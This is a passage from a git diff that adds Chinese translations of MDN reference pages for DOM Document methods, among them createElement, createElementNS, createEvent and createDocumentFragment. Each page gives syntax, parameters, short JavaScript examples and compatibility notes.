Web/API/Document/createCDATASection +tags: + - API + - DOM + - 参考 + - 方法 +translation_of: Web/API/Document/createCDATASection +--- +<div>{{APIRef("DOM")}}</div> + +<p><strong><code>createCDATASection()</code></strong> 创建并返回一个新的 CDATA 片段节点。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">var <var>CDATASectionNode</var> = <var>document</var>.createCDATASection(<var>data</var>); +</pre> + +<ul> + <li><var>CDATASectionNode</var> 是一个 <a href="/en-US/docs/Web/API/CDATASection">CDATA 片段</a>节点。</li> + <li><var>data</var> 包含了要被添加至 CDATA 片段的数据的字符串。</li> +</ul> + +<h2 id="示例">示例</h2> + +<pre class="brush:js">var docu = new DOMParser().parseFromString('<xml></xml>', 'application/xml'); + +var cdata = docu.createCDATASection('Some <CDATA> data & then some'); + +docu.getElementsByTagName('xml')[0].appendChild(cdata); + +alert(new XMLSerializer().serializeToString(docu)); +// Displays: <xml><![CDATA[Some <CDATA> data & then some]]></xml> +</pre> + +<h2 id="备注">备注</h2> + +<ul> + <li>This will only work with XML, not HTML documents (as HTML documents do not support CDATA sections); attempting it on an HTML document will throw <code>NOT_SUPPORTED_ERR</code>.</li> + <li>Will throw a <code>NS_ERROR_DOM_INVALID_CHARACTER_ERR</code> exception if one tries to submit the closing CDATA sequence ("<code>]]></code>") as part of the data, so unescaped user-provided data cannot be safely used without with this method getting this exception ({{domxref("document.createTextNode","createTextNode()")}} can often be used in its place).</li> +</ul> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-createcdatasection', 'document.createCDATASection')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.Document.createCDATASection")}}</p> diff --git a/files/zh-cn/web/api/document/createcomment/index.html b/files/zh-cn/web/api/document/createcomment/index.html new file mode 100644 index 0000000000..1959a87312 --- /dev/null +++ b/files/zh-cn/web/api/document/createcomment/index.html @@ -0,0 +1,33 @@ +--- +title: document.createComment +slug: Web/API/Document/createComment +translation_of: Web/API/Document/createComment +--- +<p>{{ ApiRef() }}</p> +<h3 id="Summary" name="Summary">概述</h3> +<p><code>createComment()</code> 方法用来创建并返回一个注释节点.</p> +<h3 id="Syntax" name="Syntax">语法</h3> +<pre class="eval"><em>var commentNode</em> = document.createComment(data) +</pre> +<h3 id="Parameters" name="Parameters">参数</h3> +<ul> + <li><code>commentNode</code> 是一个注释节点.</li> + <li><code>data</code> 是一个字符串,包含了注释的内容.</li> +</ul> +<h3 id="Example" name="Example">例子</h3> +<pre>var docu = new DOMParser().parseFromString('<xml></xml>', "application/xml") + +var comment = docu.createComment('这是注释内容'); + +docu.getElementsByTagName('xml')[0].appendChild(comment); + +alert(new XMLSerializer().serializeToString(docu)); +// 弹出 <xml><!--这是注释内容--></xml> +</pre> +<h3 id="Notes" name="Notes">备注</h3> +<ul> + <li>如果data字符串包含了 "--" ,则会抛出 <code>NS_ERROR_DOM_INVALID_CHARACTER_ERR</code>异常,这种情况需要对"--" 字符串进行转义.</li> +</ul> +<h3 id="Specification" name="Specification">规范</h3> +<p><a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-createComment">createComment</a></p> +<p>{{ languages( {"en": "en/DOM/document.createComment" } ) }}</p> diff --git a/files/zh-cn/web/api/document/createdocumentfragment/index.html b/files/zh-cn/web/api/document/createdocumentfragment/index.html new file mode 100644 index 0000000000..45f552bff4 --- /dev/null +++ b/files/zh-cn/web/api/document/createdocumentfragment/index.html @@ -0,0 +1,91 @@ +--- +title: Document.createDocumentFragment() +slug: Web/API/Document/createDocumentFragment +tags: + - API + - DOM + - Document + - Method + - Reference +translation_of: Web/API/Document/createDocumentFragment +--- +<div>{{ ApiRef("DOM") }}</div> + +<div> </div> + +<p>创建一个新的空白的文档片段( <a href="/en-US/docs/DOM/DocumentFragment" title="DOM/DocumentFragment"><code>DocumentFragment</code></a>)。</p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="syntaxbox">let fragment = document.createDocumentFragment(); +</pre> + +<p><code>fragment</code> 是一个指向空{{domxref("DocumentFragment")}}对象的引用。</p> + +<h2 id="描述">描述</h2> + +<p><code><a href="/en-US/docs/DOM/DocumentFragment" title="DOM/DocumentFragments">DocumentFragments</a></code> 是DOM节点。它们不是主DOM树的一部分。通常的用例是创建文档片段，将元素附加到文档片段，然后将文档片段附加到DOM树。在DOM树中，文档片段被其所有的子元素所代替。</p> + +<p>因为文档片段存在于<strong>内存中</strong>，并不在DOM树中，所以将子元素插入到文档片段时不会引起页面<a href="/zh-CN/docs/Glossary/Reflow">回流</a>（对元素位置和几何上的计算）。因此，使用文档片段通常会带来更好的性能<span style="line-height: 1.5;">。</span></p> + +<h2 id="Example" name="Example">示例</h2> + +<p>此示例创建主流Web浏览器的列表。</p> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><ul id="ul"> +</ul></pre> + +<h3 id="JavaScript">JavaScript</h3> + +<pre class="brush: js">var element = document.getElementById('ul'); // assuming ul exists +var fragment = document.createDocumentFragment(); +var browsers = ['Firefox', 'Chrome', 'Opera', + 'Safari', 'Internet Explorer']; + +browsers.forEach(function(browser) { + var li = document.createElement('li'); + li.textContent = browser; + fragment.appendChild(li); +}); + +element.appendChild(fragment);</pre> + +<h3 id="结果">结果</h3> + +<p>{{EmbedLiveSample("Example", 600, 140)}}</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-createdocumentfragment', 'Document.createDocumentFragment()')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Initial definition in the DOM 1 specification.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容">浏览器兼容</h2> + +<div class="hidden"> +<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> +</div> + +<p>{{Compat("api.Document.createDocumentFragment")}}</p> + +<h2 id="See_also" name="See_also">另见</h2> + +<ul> + <li>{{domxref("DOMImplementation.createDocument", "document.implementation.createDocument()")}}</li> + <li>{{domxref("documentFragment")}}</li> +</ul> diff --git a/files/zh-cn/web/api/document/createelement/index.html b/files/zh-cn/web/api/document/createelement/index.html new file mode 100644 index 0000000000..a0b1fecfad --- /dev/null +++ b/files/zh-cn/web/api/document/createelement/index.html @@ -0,0 +1,147 @@ +--- +title: Document.createElement() +slug: Web/API/Document/createElement +tags: + - API + - DOM + - Document + - 参考 + - 方法 +translation_of: Web/API/Document/createElement +--- +<div>{{APIRef("DOM")}}</div> + +<p><span class="seoSummary">在 <a href="/zh-CN/docs/Web/HTML">HTML</a> 文档中，<strong><code>Document.createElement()</code></strong> 方法用于创建一个由标签名称 <var>tagName</var> 指定的 HTML 元素。如果用户代理无法识别 <var>tagName</var>，则会生成一个未知 HTML 元素 {{domxref("HTMLUnknownElement")}}。</span></p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox notranslate">var <var>element</var> = <var>document</var>.createElement(<var>tagName</var>[, <var>options</var>]); +</pre> + +<h3 id="参数">参数</h3> + +<dl> + <dt><var>tagName</var></dt> + <dd>指定要创建元素类型的字符串,创建元素时的 {{domxref("Node.nodeName", "nodeName")}} 使用 <code>tagName</code> 的值为初始化，该方法不允许使用限定名称(如:"html:a")，在 HTML 文档上调用 <code>createElement()</code> 方法创建元素之前会将<code>tagName</code> 转化成小写，在 Firefox、Opera 和 Chrome 内核中，<code>createElement(null)</code> 等同于 <code>createElement("null")</code></dd> + <dt><var>options</var>{{optional_inline}}</dt> + <dd>一个可选的参数 <code>ElementCreationOptions</code> 是包含一个属性名为 <code>is</code> 的对象，该对象的值是用 <code>customElements.define()</code> 方法定义过的一个自定义元素的标签名。为了向前兼容较老版本的 <a href="https://www.w3.org/TR/custom-elements/">Custom Elements specification</a>, 有一些浏览器会允许你传一个值为自定义元素的标签名的字符串作为该参数的值。可以参考本页下方的 {{anch("Web component example")}} Google 的 <a href="https://developers.google.com/web/fundamentals/primers/customelements/#extendhtml">Extending native HTML elements</a> 文档仔细了解如何使用该参数。</dd> +</dl> + +<h3 id="返回值">返回值</h3> + +<p>新建的元素（{{domxref("Element")}}）。</p> + +<h2 id="示例">示例</h2> + +<h3 id="HTML">HTML</h3> + +<p>创建一个新的 <code><div></code> 并且插入到ID为“<code>div1</code>”的元素前。</p> + +<pre class="brush:html notranslate"><!DOCTYPE html> +<html> +<head> + <title>||Working with elements||</title> +</head> +<body> + <div id="div1">The text above has been created dynamically.</div> +</body> +</html> +</pre> + +<h3 id="JavaScript">JavaScript</h3> + +<pre class="brush: js notranslate">document.body.onload = addElement; + +function addElement () { + // 创建一个新的 div 元素 + let newDiv = document.createElement("div"); + // 给它一些内容 + let newContent = document.createTextNode("Hi there and greetings!"); + // 添加文本节点 到这个新的 div 元素 + newDiv.appendChild(newContent); + + // 将这个新的元素和它的文本添加到 DOM 中 + let currentDiv = document.getElementById("div1"); + document.body.insertBefore(newDiv, currentDiv); +} +</pre> + +<p>{{EmbedLiveSample("Basic_example", 500, 50)}}</p> + +<h3 id="Web_component_示例">Web component 示例</h3> + +<p>以下示例片段取自我们的 expanding-list-web-component 示例(实时查看)。 在这个案例中， 我们的自定义元素继承了以 {{htmlelement("ul")}} 元素为代表的 {{domxref("HTMLUListElement")}}.</p> + +<pre class="brush: js notranslate">// 为新元素创建一个类 +class ExpandingList extends HTMLUListElement { + constructor() { + // Always call super first in constructor + super(); + + // constructor definition left out for brevity + ... + } +} + +// 定义新元素 +customElements.define('expanding-list', ExpandingList, { extends: "ul" }); +</pre> + +<p>如果我们想以函数的方式创建此元素的实例，则可以使用以下方式调用：</p> + +<pre class="brush: js notranslate">let expandingList = document.createElement('ul', { is : 'expanding-list' })</pre> + +<p>新元素将被赋予<code>is</code>属性，其值为自定义元素的标签名称。</p> + +<div class="note"> +<p><strong>Note</strong>: 为了兼容之前版本的 <a href="https://www.w3.org/TR/custom-elements/">Custom Elements specification</a> 规范，某些浏览器将允许您在此处传递字符串而不是对象，其中字符串的值是自定义元素的标记名。</p> +</div> + +<h2 id="注意">注意</h2> + +<ul> + <li>在一个 <a href="/zh-CN/docs/Mozilla/Tech/XUL">XUL</a> 文档中，该方法创建指定的 XUL 元素。在其他文档中，它创建一个命名空间 URI 为 null 的元素，这时，新元素会继承文档的命名空间。</li> + <li>若要显式指定元素的命名空间 URI，请使用 <a href="/zh-CN/docs/Web/API/Document/createElementNS"><code>document.createElementNS()</code></a>。</li> + <li>当在一个被标记为HTML文档的文档对象上执行时，createElement()优先将参数转换为小写。</li> + <li>当创建一个带限制条件的元素时，请使用{{ domxref("document.createElementNS()") }}。</li> + <li>Gecko 2.0{{ geckoRelease("2.0") }}之前,quirks模式下tagName可以包含尖括号(<和>)；从Gecko2.0开始，该方法在quirks模式和标准模式下表现一致。</li> + <li>从Gecko19.0{{ geckoRelease("19.0") }}开始， <code>createElement(null)</code> 和 <code>createElement("null")</code> 相同。Opera 也会将 null 字符串化，但是 Chrome 和 IE 都会抛出错误。</li> + <li>从Gecko22.0{{geckoRelease("22.0")}}开始，当参数为"bgsounds", "multicol", 或"image"时， <code>createElement()</code> 不再使用 {{domxref("HTMLSpanElement")}} 接口， 参数为 "bgsound" 和 "multicol" 时，使用 <code>HTMLUnknownElement</code> ，为“image”时使用{{domxref("HTMLElement")}} <code>HTMLElement</code>。</li> + <li><code>createElement</code> 的Gecko实现不遵循XUL和XHTML的DOM说明文档: 创建元素的<code>localName</code>和<code>namespaceURI不会被设置为null</code>. 更多细节详见 {{Bug(280692)}}。</li> +</ul> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG', "#dom-document-createelement", "Document.createElement")}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.Document.createElement")}}</p> + +<h2 id="参考">参考</h2> + +<ul> + <li>{{domxref("Node.removeChild()")}}</li> + <li>{{domxref("Node.replaceChild()")}}</li> + <li>{{domxref("Node.appendChild()")}}</li> + <li>{{domxref("Node.insertBefore()")}}</li> + <li>{{domxref("Node.hasChildNodes()")}}</li> + <li>{{domxref("document.createElementNS()")}} — 在创建元素时，明确指定元素的命名空间 URI。</li> +</ul> diff --git a/files/zh-cn/web/api/document/createelementns/index.html b/files/zh-cn/web/api/document/createelementns/index.html new file mode 100644 index 0000000000..1a4f11c616 --- /dev/null +++ b/files/zh-cn/web/api/document/createelementns/index.html @@ -0,0 +1,179 @@ +--- +title: Document.createElementNS() +slug: Web/API/Document/createElementNS +tags: + - API + - DOM + - Method + - Reference +translation_of: Web/API/Document/createElementNS +--- +<div>{{ApiRef("DOM")}}</div> + +<p>创建一个具有指定的命名空间URI和限定名称的元素。</p> + +<p>要创建一个元素而不指定命名空间URI，请使用 <a href="https://developer.mozilla.org/zh-CN/docs/Web/API/Document/createElement" title="createElement">createElement</a> 方法。</p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="brush: js"><var>let element</var> = +<var>document</var>.createElementNS(<var>namespaceURI</var>, <var>qualifiedName</var>[, options]); +</pre> + +<h3 id="参数">参数</h3> + +<dl> + <dt><code>namespaceURI</code></dt> + <dd>指定与元素相关联的<a href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/glossary.html#dt-namespaceURI">命名空间URI</a>的字符串。创建的元素的<a href="/zh-CN/docs/Web/API/Node/namespaceURI">namespaceURI</a>属性使用namespaceURI的值进行初始化。 参见<a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/createElementNS#Valid_Namespace_URI's">有效的命名空间URL</a>。</dd> + <dt><code>qualifiedName</code></dt> + <dd>指定要创建的元素的类型的字符串。 创建的元素的<a href="/zh-CN/docs/DOM/element.nodeName">nodeName</a>属性使用qualifiedName的值进行初始化。</dd> + <dt><code>options</code><span class="inlineIndicator optional optionalInline">可选的</span></dt> + <dd>一个可选的包含单个属性的ElementCreationOptions对象，其值是预先使用customElements.define()定义的自定义元素的标签名称。为了向后兼容<a href="https://www.w3.org/TR/custom-elements/">自定义元素规范</a>的早期版本，一些浏览器允许您在此使用字符串替代对象，其中字符串的值是自定义元素的标签名称。有关如何使用此参数的详情，请参阅<a href="https://developers.google.com/web/fundamentals/primers/customelements/#extendhtml">原生HTML元素</a>。</dd> + <dd>新元素将被赋予一个属性，其值是自定义元素的标签名称。 自定义元素是实验中的功能，目前仅在某些浏览器中可用。</dd> +</dl> + +<h3 id="返回值">返回值</h3> + +<p>新<a href="/zh-CN/docs/Web/API/Element">元素</a>。</p> + +<h2 id="Example" name="Example">有效的命名空间URI</h2> + +<ul> + <li>HTML - 参阅 <code>http://www.w3.org/1999/xhtml</code></li> + <li>SVG - 参阅 <code>http://www.w3.org/2000/svg</code></li> + <li>XBL - 参阅 <code>http://www.mozilla.org/xbl</code></li> + <li>XUL - 参阅 <code>http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</code></li> +</ul> + +<h2 id="Example" name="Example">示例</h2> + +<p>在<a href="/zh-CN/docs/XHTML">XHTML</a>命名空间中创建一个新的<div>元素并将其添加到vbox的结尾处。虽然这不是一个非常有用的<a href="/zh-CN/docs/XUL">XUL</a>文档，它演示了在单个文档中使用来自两个不同命名空间的元素：</p> + +<pre class="brush:xml"><?xml version="1.0"?> +<page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" + xmlns:html="http://www.w3.org/1999/xhtml" + title="||Working with elements||" + onload="init()"> + +<script type="text/javascript"><![CDATA[ + var container; + var newdiv; + var txtnode; + + function init(){ + container = document.getElementById("ContainerBox"); + newdiv = document.createElementNS("http://www.w3.org/1999/xhtml","div"); + txtnode = document.createTextNode("这是使用createElementNS和createTextNode动态构造的文本，然后使用appendChild插入到文档中。"); + newdiv.appendChild(txtnode); + container.appendChild(newdiv); + } + +]]></script> + + <vbox id='ContainerBox' flex='1'> + <html:div> + 此页面上的脚本将添加以下动态内容： + </html:div> + </vbox> + +</page> +</pre> + +<div class="note"> +<p>上面给出的示例中使用了在XHTML文档中不推荐的内联脚本。这个特定的示例实际上是一个嵌入XHTML的XUL文档，然而，仍然建议适用。</p> +</div> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">说明</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', "#dom-document-createelementns", "Document.createElement")}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>options</code> argument</td> + <td>{{CompatVersionUnknown}}<sup>[1]</sup></td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoDesktop(50)}}<sup>[2][3]</sup></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1]在本规范的早期版本中，此参数只是一个字符串，其值是自定义元素的标签名称。为了向后兼容性，Chrome同时接受这两种格式。</p> + +<p>[2] 参阅[1]：像Chrome一样，Firefox从51版开始在这里接受一个字符串而不是一个对象。但是在版本50中，选项必须是对象。</p> + +<p>[3] 要在Firefox中实验自定义元素，必须将dom.webcomponents.enabled和dom.webcomponents.customelements.enabled首选项设置为true。</p> + +<h2 id="See_also" name="See_also">相关链接</h2> + +<ul> + <li><a href="createElement">document.createElement</a></li> + <li><a href="createTextNode">document.createTextNode</a></li> + <li><a href="../Node/namespaceURI">Node.namespaceURI</a></li> + <li><a class="external" href="http://www.w3.org/TR/1999/REC-xml-names-19990114">Namespaces in XML</a></li> +</ul> diff --git a/files/zh-cn/web/api/document/createevent/index.html b/files/zh-cn/web/api/document/createevent/index.html new file mode 100644 index 0000000000..4148af1f48 --- /dev/null +++ b/files/zh-cn/web/api/document/createevent/index.html @@ -0,0 +1,189 @@ +--- +title: Document.createEvent() +slug: Web/API/Document/createEvent +translation_of: Web/API/Document/createEvent +--- +<div class="warning"> +<p><code>createEvent使用的许多方法</code>, 如 <code>initCustomEvent</code>, 都被废弃了. 请使用 <a href="/zh/docs/Web/API/CustomEvent" title="/en-US/docs/Web/API/CustomEvent">event constructors</a> 来替代.</p> +</div> + +<div>{{ ApiRef("DOM") }}</div> + +<div> </div> + +<p>创建一个指定类型的<a href="/zh-CN/docs/Web/API/Event">事件</a>。其返回的对象必须先初始化并可以被传递给 <a href="/zh-CN/docs/DOM/element.dispatchEvent" title="DOM/element.dispatchEvent">element.dispatchEvent</a>。</p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="syntaxbox">var <em>event</em> = <em>document</em>.createEvent(<em>type</em>); +</pre> + +<ul> + <li><code>event</code> 就是被创建的 <a href="/zh-CN/docs/DOM/event" title="DOM/event">Event</a> 对象.</li> + <li><code>type</code> 是一个字符串，表示要创建的事件类型。事件类型可能包括<code>"UIEvents"</code>, <code>"MouseEvents"</code>, <code>"MutationEvents"</code>, 或者 <code>"HTMLEvents"</code>。请查看 {{Anch("Notes")}} 章节获取详细信息 。</li> +</ul> + +<h2 id="Example" name="Example">示例</h2> + +<pre class="brush: js">// 创建事件 +var event = document.createEvent('Event'); + +// 定义事件名为'build'. +event.initEvent('build', true, true); + +// 监听事件 +elem.addEventListener('build', function (e) { + // e.target matches elem +}, false); + +// 触发对象可以是任何元素或其他事件目标 +elem.dispatchEvent(event); +</pre> + +<h3 id="Notes" name="Notes">参考</h3> + +<ul> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Web/Guide/Events/Creating_and_triggering_events">Creating and triggering events</a></li> +</ul> + +<h2 id="Notes" name="Notes">注意</h2> + +<p>Event type字符串只能传递事件模块中定义的值给CreateEvent。其中一些事件模块是在DOM事件规范定义的，还有些事在其他规范定义的（如SVG），还有一些是Gecko-specific事件。详情见下表。</p> + +<p><em>To-do: 添加事件名称到下表中。</em></p> + +<table class="fullwidth-table"> + <tbody> + <tr> + <th>事件模块</th> + <th>传递给 <code>createEvent的</code>Event type</th> + <th>事件初始化方法</th> + </tr> + <tr style="background-color: #eee;"> + <td colspan="3"><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-eventgroupings">DOM Level 2 Events</a></td> + </tr> + <tr> + <td>User Interface event module</td> + <td><code>"UIEvents"</code></td> + <td><a href="/en-US/docs/DOM/event.initUIEvent" title="DOM/event.initUIEvent">event.initUIEvent</a></td> + </tr> + <tr> + <td>Mouse event module</td> + <td><code>"MouseEvents"</code></td> + <td><a href="/en-US/docs/DOM/event.initMouseEvent" title="DOM/event.initMouseEvent">event.initMouseEvent</a></td> + </tr> + <tr> + <td>Mutation event module</td> + <td><code>"MutationEvents"</code></td> + <td><a href="/en-US/docs/DOM/event.initMutationEvent" title="DOM/event.initMutationEvent">event.initMutationEvent</a></td> + </tr> + <tr> + <td>HTML event module</td> + <td><code>"HTMLEvents"</code></td> + <td><a href="/en-US/docs/DOM/event.initEvent" title="DOM/event.initEvent">event.initEvent</a></td> + </tr> + <tr style="background-color: #eee;"> + <td colspan="3"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/">DOM Level 3 Events</a></td> + </tr> + <tr> + <td>User Interface event module</td> + <td><code>"UIEvent"</code>, <code>"UIEvents"</code></td> + <td><a href="/en-US/docs/DOM/event.initUIEvent" title="DOM/event.initUIEvent">event.initUIEvent</a></td> + </tr> + <tr> + <td>Mouse event module</td> + <td><code>"MouseEvent"</code>, <code>"MouseEvents"</code></td> + <td><a href="/en-US/docs/DOM/event.initMouseEvent" title="DOM/event.initMouseEvent">event.initMouseEvent</a></td> + </tr> + <tr> + <td>Mutation event module</td> + <td><code>"MutationEvent"</code>, <code>"MutationEvents"</code></td> + <td><a href="/en-US/docs/DOM/event.initMutationEvent" title="DOM/event.initMutationEvent">event.initMutationEvent</a></td> + </tr> + <tr> + <td>Mutation name event module (not implemented in Gecko as of June 2006)</td> + <td><code>"MutationNameEvent"</code></td> + <td><a href="/en-US/docs/DOM/event.initMutationNameEvent" title="DOM/event.initMutationNameEvent">event.initMutationNameEvent</a></td> + </tr> + <tr> + <td>Text event module</td> + <td><code>"TextEvent"</code> (Gecko also supports <code>"TextEvents"</code>)</td> + <td><a href="/en-US/docs/DOM/event.initTextEvent" title="DOM/event.initTextEvent">event.initTextEvent</a> (not implemented)</td> + </tr> + <tr> + <td>Keyboard event module</td> + <td><code>"KeyboardEvent"</code> (Gecko also supports <code>"KeyEvents"</code>)</td> + <td><a href="/en-US/docs/DOM/event.initKeyEvent" title="DOM/event.initKeyEvent">event.initKeyEvent</a> (Gecko-specific; the DOM 3 Events working draft uses <code>initKeyboardEvent</code> instead)</td> + </tr> + <tr> + <td>Custom event module {{gecko_minversion_inline("6.0")}}</td> + <td><code>"CustomEvent"</code></td> + <td><a href="/en-US/docs/DOM/CustomEvent" title="DOM/event.initKeyEvent">event.initCustomEvent</a></td> + </tr> + <tr> + <td>Basic events module</td> + <td><code>"Event"</code> (Gecko also supports <code>"Events"</code>)</td> + <td><a href="/en-US/docs/DOM/event.initEvent" title="DOM/event.initEvent">event.initEvent</a></td> + </tr> + <tr style="background-color: #eee;"> + <td colspan="3"><a class="external" href="http://www.w3.org/TR/SVG/script.html#DOMInterfaces">SVG 1.1 Scripting</a></td> + </tr> + <tr> + <td rowspan="2">SVG</td> + <td><code>"SVGEvents"</code> (Gecko also supports <code>"SVGEvent"</code>)</td> + <td><a href="/en-US/docs/DOM/event.initEvent" title="DOM/event.initEvent">event.initEvent</a></td> + </tr> + <tr> + <td><code>"SVGZoomEvents"</code> (Gecko also supports <code>"SVGZoomEvent"</code>)</td> + <td><a href="/en-US/docs/DOM/event.initUIEvent" title="DOM/event.initUIEvent">event.initUIEvent</a></td> + </tr> + <tr style="background-color: #eee;"> + <td colspan="3">Other event types supported by Gecko </td> + </tr> + <tr> + <td rowspan="4">-</td> + <td><code>"MessageEvent" {{Fx_minversion_inline(3)}} {{Gecko_minversion_inline(1.9)}}</code></td> + <td><a href="/en-US/docs/DOM/event.initMessageEvent" title="DOM/event.initMessageEvent">event.initMessageEvent</a></td> + </tr> + <tr> + <td><code>"MouseScrollEvents"</code>, <code>"PopupEvents"</code></td> + <td><a href="/en-US/docs/DOM/event.initMouseEvent" title="DOM/event.initMouseEvent">event.initMouseEvent</a></td> + </tr> + <tr> + <td><code>"PopupBlockedEvents"</code></td> + <td><a href="/en-US/docs/DOM/event.initPopupBlockedEvent" title="DOM/event.initPopupBlockedEvent">event.initPopupBlockedEvent</a></td> + </tr> + <tr> + <td><code>"XULCommandEvent"</code>, <code>"XULCommandEvents"</code></td> + <td><a href="/en-US/docs/DOM/event.initCommandEvent" title="DOM/event.initCommandEvent">event.initCommandEvent</a></td> + </tr> + <tr> + <td>Progress Events</td> + <td><code>"ProgressEvent"</code></td> + <td>{{domxref("ProgressEvent.initProgressEvent()")}}{{deprecated_inline("22.0")}}{{non-standard_inline()}}</td> + </tr> + <tr> + <td>Animation Events</td> + <td><code>"AnimationEvent"</code> (or <code>"WebKitAnimationEvent"</code> for WebKit/Blink-based browsers)</td> + <td>{{domxref("AnimationEvent.initAnimationEvent()")}}{{deprecated_inline("23.0")}}{{non-standard_inline()}}</td> + </tr> + <tr> + <td>Transition Events</td> + <td><code>"TransitionEvent"</code> (or <code>"WebKitTransitionEvent"</code> for WebKit/Blink-based browsers)</td> + <td>{{domxref("TransitionEvent.initTransitionEvent()")}}{{deprecated_inline("23.0")}}{{non-standard_inline()}}</td> + </tr> + </tbody> +</table> + +<p>有些事件可以使用两种事件类型参数，这是因为DOM Level 3 Events将事件类型参数更改为单数形式，但是仍然支持老的复数形式以向后兼容。</p> + +<h2 id="Specification" name="Specification">规范</h2> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-DocumentEvent-createEvent">DOM Level 2 Events: createEvent</a></li> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#events-Events-DocumentEvent-createEvent" title="http://www.w3.org/TR/DOM-Level-3-Events/#events-Events-DocumentEvent-createEvent">DOM Level 3 Events: createEvent</a></li> +</ul> + +<p> </p> + +<p> </p> diff --git a/files/zh-cn/web/api/document/createexpression/index.html b/files/zh-cn/web/api/document/createexpression/index.html new file mode 100644 index 0000000000..50636d1874 --- /dev/null +++ b/files/zh-cn/web/api/document/createexpression/index.html @@ -0,0 +1,19 @@ +--- +title: document.createExpression +slug: Web/API/Document/createExpression +translation_of: Web/API/Document/createExpression +--- +<p>{{ ApiRef() }}</p> +<p>该方法将编译生成一个 <code><a href="/zh-cn/XPathExpression" title="zh-cn/XPathExpression">XPathExpression</a></code> ,可以用来多次的执行.</p> +<h3 id="Syntax" name="Syntax">语法</h3> +<pre class="eval"><em>xpathExpr</em> = <em>document</em>.createExpression(<em>xpathText</em>, <em>namespaceURLMapper</em>); +</pre> +<h3 id="Arguments" name="Arguments">参数</h3> +<ul> + <li>String <code>xpathText</code> (将要编译的Xpath表达式)</li> + <li>Function <code>namespaceURLMapper</code> (将一个命名空间前缀映射到一个命名空间URL上 (如果不需要,可以为<code>null</code>))</li> +</ul> +<p>{{ Fx_minversion_note("3") }}</p> +<h3 id="Return" name="Return">返回值</h3> +<p><a href="/zh-cn/XPathExpression" title="zh-cn/XPathExpression">XPathExpression</a></p> +<p>{{ languages( {"en": "en/DOM/document.createExpression" } ) }}</p> diff --git a/files/zh-cn/web/api/document/createnodeiterator/index.html b/files/zh-cn/web/api/document/createnodeiterator/index.html new file mode 100644 index 0000000000..1e1b653d7a --- /dev/null +++ b/files/zh-cn/web/api/document/createnodeiterator/index.html @@ -0,0 +1,145 @@ +--- +title: Document.createNodeIterator() +slug: Web/API/Document/createNodeIterator +tags: + - API + - DOM + - Gecko +translation_of: Web/API/Document/createNodeIterator +--- +<p>{{APIRef("DOM")}}</p> + +<p>返回一个新的 